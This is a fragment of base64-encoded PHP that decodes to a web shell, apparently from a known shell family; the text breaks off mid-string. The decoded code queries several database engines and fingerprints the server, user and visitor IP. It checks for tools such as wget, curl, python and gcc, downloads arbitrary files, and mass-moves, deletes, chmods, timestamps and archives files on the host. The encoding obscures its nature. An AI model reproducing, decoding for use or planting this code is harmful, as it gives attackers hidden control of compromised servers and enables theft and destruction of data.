ZWlmKCRzX3NxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfcXVlcnkoJHNfY29uLCAkc19xdWVyeSk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ29kYmMnKSByZXR1cm4gb2RiY19leGVjKCRzX2NvbiwgJHNfcXVlcnkpOw0KCWVsc2VpZigkc19zcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHNfY29uLT5xdWVyeSgkc19xdWVyeSk7DQp9DQpmdW5jdGlvbiBzcWxfbnVtX3Jvd3MoJHNfc3FsdHlwZSwkc19oYXNpbCl7DQoJaWYoJHNfc3FsdHlwZSA9PSAnbXlzcWwnKXsNCgkJaWYoY2xhc3NfZXhpc3RzKCdteXNxbGlfcmVzdWx0JykpIHJldHVybiAkc19oYXNpbC0+bXlzcWxpX251bV9yb3dzOw0KCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9udW1fcm93cycpKSByZXR1cm4gbXlzcWxfbnVtX3Jvd3MoJHNfaGFzaWwpOw0KCX0NCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnbXNzcWwnKXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfbnVtX3Jvd3MnKSkgcmV0dXJuIHNxbHNydl9udW1fcm93cygkc19oYXNpbCk7DQoJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX251bV9yb3dzJykpIHJldHVybiBtc3NxbF9udW1fcm93cygkc19oYXNpbCk7DQoJfQ0KCWVsc2VpZigkc19zcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19udW1fcm93cygkc19oYXNpbCk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfbnVtX3Jvd3MoJHNfaGFzaWwpOw0KCWVsc2VpZigkc19zcWx0eXBlID09ICdzcWxpdGUzJyl7DQoJCSRzX21ldGFkYXRhID0gJHNfaGFzaWwtPmZldGNoQXJyYXkoKTsNCgkJaWYoaXNfYXJyYXkoJHNfbWV0YWRhdGEpKSByZXR1cm4gJHNfbWV0YWRhdGFbJ2NvdW50J107DQoJfQ0KCWVsc2VpZigkc19zcWx0eXBlID09ICdzcWxpdGUnKSByZXR1cm4gc3FsaXRlX251bV9yb3dzKCRzX2hhc2lsKTsNCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX251bV9yb3dzKCRzX2hhc2lsKTsNCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAncGRvJykgcmV0dXJuICRzX2hhc2lsLT5yb3dDb3VudCgpOw0KfQ0KZnVuY3Rpb24gc3FsX251bV9maWVsZHMoJHNfc3FsdHlwZSwgJHNfaGFzaWwpew0KCWlmKCRzX3NxbHR5cGUgPT0gJ215c3FsJyl7DQoJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHNfaGFzaWwtPmZpZWxkX2NvdW50Ow0KCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9udW1fZmllbGRzJykpIHJldHVybiBteXNxbF9udW1fZmllbGRzKCRzX2hhc2lsKTsNCgl9DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ21zc3FsJyl7DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X251bV9maWVsZHMnKSkgcmV0dXJuIHNxbHNydl9udW1fZmllbGRzKCRzX2hhc2lsKTsNCgkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfbnVtX2ZpZWxkcycpKSByZXR1cm4gbXNzcWxfbnVtX2ZpZWxkcygkc19oYXNpbCk7DQoJfQ0KCWVsc2VpZigkc19zcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19udW1fZmllbGRzKCRzX2hhc2lsKTsNCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9udW1fZmllbGRzKCRzX2hhc2lsKTsNCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkc19oYXNpbC0+bnVtQ29sdW1ucygpOw0KCWVsc2VpZigkc19zcWx0eXBlID09ICdzcWxpdGUnKSByZXR1cm4gc3FsaXRlX251bV9maWVsZHMoJHNfaGFzaWwpOw0KCWVsc2VpZigkc19zcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfbnVtX2ZpZWxkcygkc19oYXNpbCk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkc19oYXNpbC0+Y29sdW1uQ291bnQoKTsNCn0NCmZ1bmN0aW9uIHNxbF9maWVsZF9uYW1lKCRzX3NxbHR5cGUsJHNfaGFzaWwsJHNfaSl7DQoJaWYoJHNfc3FsdHlwZSA9PSAnbXlzcWwnKXsNCgkJaWYoY2xhc3NfZXhpc3RzKCdteXNxbGlfcmVzdWx0JykpIHsgJHo9JHNfaGFzaWwtPmZldGNoX2ZpZWxkKCk7cmV0dXJuICR6LT5uYW1lO30NCgkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZmllbGRfbmFtZScpKSByZXR1cm4gbXlzcWxfZmllbGRfbmFtZSgkc19oYXNpbCwkc19pKTsNCgl9DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ21zc3FsJyl7DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2ZpZWxkX21ldGFkYXRhJykpew0KCQkJJHNfbWV0YWRhdGEgPSBzcWxzcnZfZmllbGRfbWV0YWRhdGEoJHNfaGFzaWwpOw0KCQkJaWYoaXNfYXJyYXkoJHNfbWV0YWRhdGEpKXsNCgkJCQkkc19tZXRhZGF0YT0kc19tZXRhZGF0YVskc19pXTsNCgkJCX0NCgkJCWlmKGlzX2FycmF5KCRzX21ldGFkYXRhKSkgcmV0dXJuICRzX21ldGFkYXRhWydOYW1lJ107DQoJCX0NCgkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfZmllbGRfbmFtZScpKSByZXR1cm4gbXNzcWxfZmllbGRfbmFtZSgkc19oYXNpbCwkc19pKTsNCgl9DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2ZpZWxkX25hbWUoJHNfaGFzaWwsJHNfaSk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfZmllbGRfbmFtZSgkc19oYXNpbCwkc19pKzEpOw0KCWVsc2VpZigkc19zcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRzX2hhc2lsLT5jb2x1bW5OYW1lKCRzX2kpOw0KCWVsc2VpZigkc19zcWx0eXBlID09ICdzcWxpdGUnKSByZXR1cm4gc3FsaXRlX2ZpZWxkX25hbWUoJHNfaGFzaWwsJHNfaSk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ29kYmMnKSByZXR1cm4gb2RiY19maWVsZF9uYW1lKCRzX2hhc2lsLCRzX2krMSk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3Bkbycpew0KCQkkc19yZXMgPSAkc19oYXNpbC0+Z2V0Q29sdW1uTWV0YSgkc19pKTsNCgkJcmV0dXJuICRzX3Jlc1snbmFtZSddOw0KCX0NCn0NCmZ1bmN0aW9uIHNxbF9mZXRjaF9kYXRhKCRzX3NxbHR5cGUsJHNfaGFzaWwpew0KCWlmKCRzX3NxbHR5cGUgPT0gJ215c3FsJyl7DQoJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHNfaGFzaWwtPmZldGNoX3JvdygpOw0KCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9mZXRjaF9yb3cnKSkgcmV0dXJuIG15c3FsX2ZldGNoX3Jvdygkc19oYXNpbCk7DQoJfQ0KCWVsc2VpZigkc19zcWx0eXBlID09ICdtc3NxbCcpew0KCQlpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9mZXRjaF9hcnJheScpKSByZXR1cm4gc3Fsc3J2X2ZldGNoX2FycmF5KCRzX2hhc2lsLDEpOw0KCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9mZXRjaF9yb3cnKSkgcmV0dXJuIG1zc3FsX2ZldGNoX3Jvdygkc19oYXNpbCk7DQoJfQ0KCWVsc2VpZigkc19zcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19mZXRjaF9yb3coJHNfaGFzaWwpOw0KCWVsc2VpZigkc19zcWx0eXBlID09ICdvcmFjbGUnKSByZXR1cm4gb2NpX2ZldGNoX3Jvdygkc19oYXNpbCk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJHNfaGFzaWwtPmZldGNoQXJyYXkoMSk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfZmV0Y2hfYXJyYXkoJHNfaGFzaWwsMSk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ29kYmMnKSByZXR1cm4gb2RiY19mZXRjaF9hcnJheSgkc19oYXNpbCk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkc19oYXNpbC0+ZmV0Y2goMik7DQp9DQpmdW5jdGlvbiBzcWxfY2xvc2UoJHNfc3FsdHlwZSwkc19jb24pew0KCWlmKCRzX3NxbHR5cGUgPT0gJ215c3FsJyl7DQoJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpJykpIHJldHVybiAkc19jb24tPmNsb3NlKCk7DQoJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nsb3NlJykpIHJldHVybiBteXNxbF9jbG9zZSgkc19jb24pOw0KCX0NCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnbXNzcWwnKXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfY2xvc2UnKSkgcmV0dXJuIHNxbHNydl9jbG9zZSgkc19jb24pOw0KCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jbG9zZScpKSByZXR1cm4gbXNzcWxfY2xvc2UoJHNfY29uKTsNCgl9DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2Nsb3NlKCRzX2Nvbik7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfY2xvc2UoJHNfY29uKTsNCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkc19jb24tPmNsb3NlKCk7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfY2xvc2UoJHNfY29uKTsNCgllbHNlaWYoJHNfc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2Nsb3NlKCRzX2Nvbik7DQoJZWxzZWlmKCRzX3NxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkc19jb24gPSBudWxsOw0KfQ0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3RyX3NwbGl0Jykpew0KCWZ1bmN0aW9uIHN0cl9zcGxpdCgkc190LCRzX3M9MSl7DQoJCSRzX2EgPSBhcnJheSgpOw0KCQlmb3IoJHNfaSA9IDA7ICRzX2k8c3RybGVuKCRzX3QpOyl7DQoJCQkkc19hW10gPSBzdWJzdHIoJHNfdCwkc19pLCRzX3MpOw0KCQkJJHNfaSArPSAkc19zOw0KCQl9DQoJCXJldHVybiAkc19hOw0KCX0NCn0NCg0KLy8gYXBwZWFyYW5jZQ0KJHNfdGhlbWUgPSAiZGFyayI7IC8vIGRlZmF1bHQgaXMgZGFyaw0KaWYoaXNzZXQoJF9DT09LSUVbJ3RoZW1lJ10pKSAkc190aGVtZSA9ICRfQ09PS0lFWyd0aGVtZSddOw0KaWYoaXNzZXQoJF9HUFsneCddKSAmJiAoJF9HUFsneCddPT0nc3dpdGNoJykpew0KCWlmKGlzc2V0KCRfQ09PS0lFWyd0aGVtZSddKSkgJHNfdGhlbWUgPSAkX0NPT0tJRVsndGhlbWUnXTsNCglpZigkc190aGVtZT09ImJyaWdodCIpICRzX3RoZW1lID0gImRhcmsiOw0KCWVsc2UgJHNfdGhlbWUgPSAiYnJpZ2h0IjsNCglzZXRjb29raWUoInRoZW1lIiwgJHNfdGhlbWUgLHRpbWUoKSArICRzX2xvZ2luX3RpbWUpOw0KfQ0KJHNfaGlnaGxpZ2h0X2RhcmsgPSBhcnJheSgiMTJGNzI5IiwgIjA4NzJGQyIsICI4N0RGNDUiLCAiRUVFRUVFIiAsICJGRjgwMDAiKTsNCiRzX2hpZ2hsaWdodF9icmlnaHQgPSBhcnJheSgiMTFBMUVFIiwgIkUzMEYwRiIsICI3ODIwQkEiLCAiMTExMTExIiAsICIwMDdGRkYiKTsNCg0KZ2xvYmFsICRzX3NlbGYsICRzX3dpbiwgJHNfcG9zaXg7DQoNCiRzX3NlbGYgPSAiPyI7DQokc19jZWsxID0gYmFzZW5hbWUoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTsNCiRzX2NlazIgPSBzdWJzdHIoYmFzZW5hbWUoX19GSUxFX18pLDAsc3RybGVuKCRzX2NlazEpKTsNCg0KaWYoaXNzZXQoJF9DT09LSUVbJ1hub255bW91eF9pbmNsdWRlZCddKSl7DQoJaWYoc3RyY21wKCRzX2NlazEsJHNfY2VrMikhPTApICRzX3NlbGYgPSAkX0NPT0tJRVsnc19zZWxmJ107DQoJZWxzZXsNCgkJJHNfc2VsZiA9ICI/IjsNCgkJc2V0Y29va2llKCJYbm9ueW1vdXhfaW5jbHVkZWQiLCAiMCIgLHRpbWUoKSAtICRzX2xvZ2luX3RpbWUpOw0KCQlzZXRjb29raWUoInNfc2VsZiIsICRzX3NlbGYgLHRpbWUoKSArICRzX2xvZ2luX3RpbWUpOw0KCX0NCn0NCmVsc2V7DQoJaWYoc3RyY21wKCRzX2NlazEsJHNfY2VrMikhPTApew0KCQlpZighaXNzZXQoJF9DT09LSUVbJ3NfaG9tZSddKSl7DQoJCQkkc19ob21lID0gIj8iLiRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXS4iJiI7DQoJCQlzZXRjb29raWUoInNfaG9tZSIsICRzX2hvbWUgLHRpbWUoKSArICRzX2xvZ2luX3RpbWUpOw0KCQl9DQoJCWlmKGlzc2V0KCRzX2hvbWUpKSAkc19zZWxmID0gJHNfaG9tZTsNCgkJZWxzZWlmKGlzc2V0KCRfQ09PS0lFWydzX2hvbWUnXSkpICRzX3NlbGYgPSAkX0NPT0tJRVsnc19ob21lJ107DQoJCXNldGNvb2tpZSgiWG5vbnltb3V4X2luY2x1ZGVkIiwgIjEiICx0aW1lKCkgKyAkc19sb2dpbl90aW1lKTsNCgkJc2V0Y29va2llKCJzX3NlbGYiLCAkc19zZWxmICx0aW1lKCkgKyAkc19sb2dpbl90aW1lKTsNCgl9DQoJZWxzZXsNCgkJJHNfc2VsZiA9ICI/IjsNCgkJc2V0Y29va2llKCJYbm9ueW1vdXhfaW5jbHVkZWQiLCAiMCIgLHRpbWUoKSAtICRzX2xvZ2luX3RpbWUpOw0KCQlzZXRjb29raWUoInNfc2VsZiIsICRzX3NlbGYgLHRpbWUoKSArICRzX2xvZ2luX3RpbWUpOw0KCX0NCn0NCiRzX2N3ZCA9ICIiOw0KDQppZihpc3NldCgkX0dQWyd8J10pKSBzaG93Y29kZSgkc19jc3MpOw0KZWxzZWlmKGlzc2V0KCRfR1BbJyEnXSkpIHNob3djb2RlKCRzX2pzKTsNCg0KaWYoJHNfYXV0aCl7DQoJLy8gc2VydmVyIHNvZnR3YXJlDQoJJHNfc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KCS8vIHVuYW1lIC1hDQoJJHNfc3lzdGVtID0gcGhwX3VuYW1lKCk7DQoJLy8gY2hlY2sgb3MNCgkkc193aW4gPSAoc3RydG9sb3dlcihzdWJzdHIoJHNfc3lzdGVtLDAsMykpID09ICJ3aW4iKT8gdHJ1ZSA6IGZhbHNlOw0KCS8vIGNoZWNrIGZvciBwb3NpeA0KCSRzX3Bvc2l4ID0gKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSk/IHRydWUgOiBmYWxzZTsNCgkvLyBjaGFuZ2Ugd29ya2luZyBkaXJlY3RvcnkNCglpZihpc3NldCgkX0dQWydjZCddKSl7DQoJCSRzX2RkID0gJF9HUFsnY2QnXTsNCgkJaWYoQGlzX2Rpcigkc19kZCkpew0KCQkJJHNfY3dkID0gY3AoJHNfZGQpOw0KCQkJY2hkaXIoJHNfY3dkKTsNCgkJCXNldGNvb2tpZSgiY3dkIiwgJHNfY3dkICx0aW1lKCkgKyAkc19sb2dpbl90aW1lKTsNCgkJfQ0KCQllbHNlICRzX2N3ZCA9IGlzc2V0KCRfQ09PS0lFWydjd2QnXSk/IGNwKCRfQ09PS0lFWydjd2QnXSk6Y3AoZ2V0Y3dkKCkpOzsNCgl9DQoJZWxzZXsNCgkJaWYoaXNzZXQoJF9DT09LSUVbJ2N3ZCddKSl7DQoJCQkkc19kZCA9IHNzKCRfQ09PS0lFWydjd2QnXSk7DQoJCQlpZihAaXNfZGlyKCRzX2RkKSl7DQoJCQkJJHNfY3dkID0gY3AoJHNfZGQpOw0KCQkJCWNoZGlyKCRzX2N3ZCk7DQoJCQl9DQoJCX0NCgkJZWxzZSAkc19jd2QgPSBjcChnZXRjd2QoKSk7DQoJfQ0KDQoJaWYoISRzX3dpbiAmJiAkc19wb3NpeCl7DQoJCSRzX3VzZXJhcnIgPSBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOw0KCQlpZihpc3NldCgkc191c2VyYXJyWyduYW1lJ10pKSAkc191c2VyID0gJHNfdXNlcmFyclsnbmFtZSddOw0KCQllbHNlICRzX3VzZXIgPSAiJCI7DQoJfQ0KCWVsc2Ugew0KCQkkc191c2VyID0gZ2V0X2N1cnJlbnRfdXNlcigpOw0KCX0NCg0KCS8vIHByb21wdCBzdHlsZQ0KCSRzX3Byb21wdCA9ICRzX3VzZXIuIiAmZ3Q7IjsNCgkvLyBzZXJ2ZXIgaXANCgkkc19zZXJ2ZXJfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJLy8geW91ciBpcCA7LSkNCgkkc19teV9pcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSRzX3Jlc3VsdCA9ICIiOw0KDQoJZ2xvYmFsICRzX3B5dGhvbiwgJHNfcGVybCwgJHNfcnVieSwgJHNfbm9kZSwgJHNfbm9kZWpzLCAkc19nY2MsICRzX2phdmEsICRzX2phdmFjLCAkc190YXIsICRzX3dnZXQsICRzX2x3cGRvd25sb2FkLCAkc19seW54LCAkc19jdXJsOw0KDQoJJHNfYWNjZXNzID0gYXJyYXkoInNfcHl0aG9uIiwgInNfcGVybCIsICJzX3J1YnkiLCAic19ub2RlIiwgInNfbm9kZWpzIiwgInNfZ2NjIiwgInNfamF2YSIsICJzX2phdmFjIiwgInNfdGFyIiwgInNfd2dldCIsICJzX2x3cGRvd25sb2FkIiwgInNfbHlueCIsICJzX2N1cmwiKTsNCglmb3JlYWNoKCRzX2FjY2VzcyBhcyAkcyl7DQoJCWlmKGlzc2V0KCRfQ09PS0lFWyRzXSkpeyAkJHMgPSAkX0NPT0tJRVskc107IH0NCgkJZWxzZXsNCgkJCWlmKCFpc3NldCgkX0NPT0tJRVsnWG5vbnltb3V4J10pKXsNCgkJCQkkdCA9IGV4cGxvZGUoIl8iLCAkcyk7DQoJCQkJJHQgPSBjaGVja19hY2Nlc3MoJHRbMV0pOw0KCQkJCWlmKCR0IT09ZmFsc2Upew0KCQkJCQkkJHMgPSAkdDsNCgkJCQkJc2V0Y29va2llKCRzLCAkJHMgLHRpbWUoKSArICRzX2xvZ2luX3RpbWUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCg0KCS8vIGRvd25sb2FkIGZpbGUgc3BlY2lmaWVkIGJ5ID9kbD08ZmlsZT4NCglpZihpc3NldCgkX0dQWydkbCddKSAmJiAoJF9HUFsnZGwnXSAhPSAiIikpew0KCQlvYl9lbmRfY2xlYW4oKTsNCgkJJGYgPSAkX0dQWydkbCddOw0KCQkkZmMgPSBmZ2MoJGYpOw0KCQloZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmYykpOw0KCQloZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkZikuIlwiOyIpOw0KCQllY2hvICRmYzsNCgkJZGllKCk7DQoJfQ0KCS8vIG1hc3NhY3QNCglpZihpc3NldCgkX0dQWyd6J10pKXsNCgkJJHNfbWFzc2FjdCA9IGlzc2V0KCRfQ09PS0lFWydtYXNzYWN0J10pPyAkX0NPT0tJRVsnbWFzc2FjdCddOiIiOw0KCQkkc19idWZmZXIgPSBpc3NldCgkX0NPT0tJRVsnYnVmZmVyJ10pPyBydHJpbShzcygkX0NPT0tJRVsnYnVmZmVyJ10pLCJ8Iik6IiI7DQoJCSRzX2xpc3RzID0gZXhwbG9kZSgifCIsICRzX2J1ZmZlcik7DQoNCgkJJHNfY291bnRlciA9IDA7DQoJCWlmKCFlbXB0eSgkc19idWZmZXIpKXsNCgkJCWlmKCRfR1BbJ3onXT09J21vdmVvaycpew0KCQkJCWZvcmVhY2goJHNfbGlzdHMgYXMgJHNfbCkgaWYocmVuYW1lKCRzX2wsJHNfY3dkLmJhc2VuYW1lKCRzX2wpKSkgJHNfY291bnRlcisrOw0KCQkJCWlmKCRzX2NvdW50ZXI+MCkgJHNfcmVzdWx0IC49IG5vdGlmKCRzX2NvdW50ZXIuIiBpdGVtcyBtb3ZlZCIpOw0KCQkJCWVsc2UgJHNfcmVzdWx0IC49IG5vdGlmKCJObyBpdGVtcyBtb3ZlZCIpOw0KCQkJfQ0KCQkJZWxzZWlmKCRfR1BbJ3onXT09J2NvcHlvaycpew0KCQkJCWZvcmVhY2goJHNfbGlzdHMgYXMgJHNfbCl7DQoJCQkJCWlmKEBpc19kaXIoJHNfbCkpew0KCQkJCQkJY29weXMoJHNfbCwkc19jd2QuYmFzZW5hbWUoJHNfbCkpOw0KCQkJCQkJaWYoZmlsZV9leGlzdHMoJHNfY3dkLmJhc2VuYW1lKCRzX2wpKSkgJHNfY291bnRlcisrOw0KCQkJCQl9DQoJCQkJCWVsc2VpZihAaXNfZmlsZSgkc19sKSl7DQoJCQkJCQljb3B5KCRzX2wsJHNfY3dkLmJhc2VuYW1lKCRzX2wpKTsNCgkJCQkJCWlmKGZpbGVfZXhpc3RzKCRzX2N3ZC5iYXNlbmFtZSgkc19sKSkpICRzX2NvdW50ZXIrKzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZigkc19jb3VudGVyPjApICRzX3Jlc3VsdCAuPSBub3RpZigkc19jb3VudGVyLiIgaXRlbXMgY29waWVkIik7DQoJCQkJZWxzZSAkc19yZXN1bHQgLj0gbm90aWYoIk5vIGl0ZW1zIGNvcGllZCIpOw0KCQkJfQ0KCQkJZWxzZWlmKCRfR1BbJ3onXT09J2RlbG9rJyl7DQoJCQkJZm9yZWFjaCgkc19saXN0cyBhcyAkc19sKXsNCgkJCQkJaWYoQGlzX2ZpbGUoJHNfbCkpew0KCQkJCQkJaWYodW5saW5rKCRzX2wpKSAkc19jb3VudGVyKys7DQoJCQkJCX0NCgkJCQkJZWxzZWlmKEBpc19kaXIoJHNfbCkpew0KCQkJCQkJcm1kaXJzKCRzX2wpOw0KCQkJCQkJaWYoIWZpbGVfZXhpc3RzKCRzX2wpKSAkc19jb3VudGVyKys7DQoJCQkJCX0NCgkJCQl9DQoJCQkJaWYoJHNfY291bnRlcj4wKSAkc19yZXN1bHQgLj0gbm90aWYoJHNfY291bnRlci4iIGl0ZW1zIGRlbGV0ZWQiKTsNCgkJCQllbHNlICRzX3Jlc3VsdCAuPSBub3RpZigiTm8gaXRlbXMgZGVsZXRlZCIpOw0KCQkJfQ0KCQkJZWxzZWlmKGlzc2V0KCRfR1BbJ2NobW9kb2snXSkpew0KCQkJCSRzX21vZCA9IG9jdGRlYygkX0dQWydjaG1vZG9rJ10pOw0KCQkJCWZvcmVhY2goJHNfbGlzdHMgYXMgJHNfbCkgaWYoY2htb2QoJHNfbCwkc19tb2QpKSAkc19jb3VudGVyKys7DQoJCQkJaWYoJHNfY291bnRlcj4wKSAkc19yZXN1bHQgLj0gbm90aWYoJHNfY291bnRlci4iIGl0ZW1zIGNoYW5nZWQgbW9kZSB0byAiLmRlY29jdCgkc19tb2QpKTsNCgkJCQllbHNlICRzX3Jlc3VsdCAuPSBub3RpZigiTm8gaXRlbXMgbW9kaWZpZWQiKTsNCgkJCX0NCgkJCWVsc2VpZihpc3NldCgkX0dQWyd0b3VjaG9rJ10pKXsNCgkJCQkkc19kYXRlbmV3ID0gc3RydG90aW1lKCRfR1BbJ3RvdWNob2snXSk7DQoJCQkJZm9yZWFjaCgkc19saXN0cyBhcyAkc19sKSBpZih0b3VjaCgkc19sLCRzX2RhdGVuZXcpKSAkc19jb3VudGVyKys7DQoJCQkJaWYoJHNfY291bnRlcj4wKSAkc19yZXN1bHQgLj0gbm90aWYoJHNfY291bnRlci4iIGl0ZW1zIGNoYW5nZWQgYWNjZXNzIGFuZCBtb2RpZmljYXRpb24gdGltZSB0byAiLkBkYXRlKCJkLU0tWSBIOmk6cyIsJHNfZGF0ZW5ldykpOw0KCQkJCWVsc2UgJHNfcmVzdWx0IC49IG5vdGlmKCJObyBpdGVtcyBtb2RpZmllZCIpOw0KCQkJfQ0KCQkJZWxzZWlmKGlzc2V0KCRfR1BbJ2NvbXByZXNzemlwb2snXSkpew0KCQkJCSRzX2ZpbGUgPSAkX0dQWydjb21wcmVzc3ppcG9rJ107DQoJCQkJaWYoemlwKCRzX2xpc3RzLCAkc19maWxlKSkgJHNfcmVzdWx0IC49IG5vdGlmKCJBcmNoaXZlIGNyZWF0ZWQgOiAiLmhzcygkc19maWxlKSk7DQoJCQkJZWxzZSAkc19yZXN1bHQgLj0gbm90aWYoIkVycm9yIGNyZWF0aW5nIGFyY2hpdmUgZmlsZSIpOw0KCQkJfQ0KCQkJZWxzZWlmKGlzc2V0KCRfR1BbJ2NvbXByZXNzdGFyb2snXSkpew0KCQkJCSRzX2xpc3RzXyA9IGFycmF5KCk7DQoJCQkJJHNfZmlsZSA9ICRfR1BbJ2NvbXByZXNzdGFyb2snXTsNCgkJCQkkc19maWxlID0gYmFzZW5hbWUoJHNfZmlsZSk7DQoNCgkJCQkkc19saXN0c19fID0gYXJyYXlfbWFwKCJiYXNlbmFtZSIsICRzX2xpc3RzKTsNCgkJCQkkc19saXN0c18gPSBhcnJheV9tYXAoInBmIiwgJHNfbGlzdHNfXyk7DQoJCQkJZXhlKCJ0YXIgY2YgXCIiLiRzX2ZpbGUuIlwiICIuaW1wbG9kZSgiICIsICRzX2xpc3RzXykpOw0KDQoJCQkJaWYoQGlzX2ZpbGUoJHNfZmlsZSkpICRzX3Jlc3VsdCAuPSBub3RpZigiQXJjaGl2ZSBjcmVhdGVkIDogIi5oc3MoJHNfZmlsZSkpOw0KCQkJCWVsc2UgJHNfcmVzdWx0IC49IG5vdGlmKCJFcnJvciBjcmVhdGluZyBhcmNoaXZlIGZpbGUiKTsNCgkJCX0NCgkJCWVsc2VpZihpc3NldCgkX0dQWydjb21wcmVzc3Rhcmd6b2snXSkpew0KCQkJCSRzX2xpc3RzXyA9IGFycmF5KCk7DQoJCQkJJHNfZmlsZSA9ICRfR1BbJ2NvbXByZXNzdGFyZ3pvayddOw0KCQkJCSRzX2ZpbGUgPSBiYXNlbmFtZSgkc19maWxlKTsNCg0KCQkJCSRzX2xpc3RzX18gPSBhcnJheV9tYXAoImJhc2VuYW1lIiwgJHNfbGlzdHMpOw0KCQkJCSRzX2xpc3RzXyA9IGFycmF5X21hcCgicGYiLCAkc19saXN0c19fKTsNCgkJCQlleGUoInRhciBjemYgXCIiLiRzX2ZpbGUuIlwiICIuaW1wbG9kZSgiICIsICRzX2xpc3RzXykpOw0KDQoJCQkJaWYoQGlzX2ZpbGUoJHNfZmlsZSkpICRzX3Jlc3VsdCAuPSBub3RpZigiQXJjaGl2ZSBjcmVhdGVkIDogIi5oc3MoJHNfZmlsZSkpOw0KCQkJCWVsc2UgJHNfcmVzdWx0IC49IG5vdGlmKCJFcnJvciBjcmVhdGluZyBhcmNoaXZlIGZpbGUiKTsNCgkJCX0NCgkJCWVsc2VpZihpc3NldCgkX0dQWydleHRyYWN0emlwb2snXSkpew0KCQkJCSRzX2ZpbGUgPSAkX0dQWydleHRyYWN0emlwb2snXTsNCgkJCQkkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCgkJCQlmb3JlYWNoKCRzX2xpc3RzIGFzICRmKXsNCgkJCQkJJHNfdGFyZ2V0ID0gJHNfZmlsZS5iYXNlbmFtZSgkZiwiLnppcCIpOw0KCQkJCQlpZi